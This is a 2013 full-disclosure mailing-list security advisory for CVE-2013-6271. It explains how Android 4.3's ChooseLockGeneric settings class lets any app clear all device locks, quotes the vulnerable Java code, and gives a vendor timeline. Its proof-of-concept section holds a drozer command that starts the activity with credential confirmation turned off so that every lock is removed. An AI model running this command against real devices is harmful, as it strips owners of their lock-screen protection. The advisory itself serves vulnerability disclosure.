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Date: Wed, 27 Nov 2013 20:16:04 +0100
From: Curesec Research Team <crt@...esec.com>
To: full-disclosure@...ts.grok.org.uk
Subject: CVE-2013-6271 Remove Android Device Lock by rouge
	app

Please find a better readable version of the advisory here:
https://cureblog.de/2013/11/755/

Cheers,
 Curesec Research Team

==================================================

CVE-2013-6271: Security Advisory – Curesec Research Team

1. Introduction
Advisory ID: 		Cure-2013-1011
Advisory URL: 		https://www.curesec.com/
Affected Product: 	AndroidOS 4.3 / com.android.settings
Affected Systems: 	Android
Fixed in: 		N/A
Fixed Version Link: 	N/A
Vendor Contact: 	security@...roid.com
Vulnerability Type: 	Permission Bypass / Design Error
Remote Exploitable: 	No
Reported to vendor: 	11.10.2013
Disclosed to public: 	27.11.2013
CVE: 			CVE-2013-6271
Credentials: 		crt@...esec.com

2. Vulnerability Description

The vulnerability described here enables any rouge app at any time to
remove all existing device locks activated by an user. Curesec disclosed
this vulnerability as Google Android Security Team was not responding
any more about this issue.

The bug exists on the “com.android.settings.ChooseLockGeneric class”.
This class is used to allow the user to modify the type of lock
mechanism the device should have. Android implements several locks, like
pin, password, gesture and even face recognition to lock and unlock a
device. Before a user can change these settings, the device asks the
user for confirmation of the previous lock (e.x. If a user wants to
change the pin or remove it it has to first enter the previou pin).

Lets examine the following code extracted from the class:

      // Defaults to needing to confirm credentials
            <span style="background-color: #21e901;">final boolean
confirmCredentials = getActivity().getIntent()</span>
                <span style="background-color:
#21e901;">.getBooleanExtra(CONFIRM_CREDENTIALS, true);</span>
            <span style="background-color: #21e901;">mPasswordConfirmed
= !confirmCredentials;</span>

            if (savedInstanceState != null) {
                mPasswordConfirmed =
savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation =
savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending =
savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                <span style="background-color:
#21e901;">updatePreferencesOrFinish</span>();
         }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality =
intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI
and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                <span style="background-color:
#21e901;">updateUnlockMethodAndFinish</span>(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming
user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update
password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()

.getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
false);

            quality = upgradeQuality(quality, null);

            if (quality &gt;=
DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength &lt; MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength =
mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(),
ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY,
quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY,
minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY,
maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);

intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality ==
DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(),
ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);

intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality ==
DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } <span style="background-color: #ffff00;">else if (quality
== DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {</span>
                <span style="background-color:
#ffff00;">mChooseLockSettingsHelper.utils().clearLock(false);</span>
                <span style="background-color:
#ffff00;">mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);</span>
                <span style="background-color:
#ffff00;">getActivity().setResult(Activity.RESULT_OK);</span>
                <span style="background-color: #ffff00;">finish();</span>
            } else {
                finish();
            }
        }

This first piece of code allows the caller to actually control if the
confirmation to change the lock mechanism is enable or not. We can
control the flow to reach the updatePreferencesOrFinish() method and see
that IF we provide a Password Type the flow continues to
updateUnlockMethodAndFinish(). Above we can see that IF the password is
of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and
effectively unblocks the device.

As a result any rouge app can at any time remove all existing locks.

3. Proof of Concept Codes

For verification you can use drozer and test the following.

#Disable all phone locks
run app.activity.start --component com.android.settings
com.android.settings.ChooseLockGeneric --extra boolean
confirm_credentials false --extra integer "lockscreen.password_type" 0


5. Report Timeline

11.10.2013 	Informed Vendor about Issue
12.10.2013 	Mail from Vendor
18.10.2013 	Mail to vendor, if any feedback exists, no response
11.11.2013 	Mail to vendor, if any feedback exists, no response
19.11.2013 	Mail to vendor, if any feedback exists, no response

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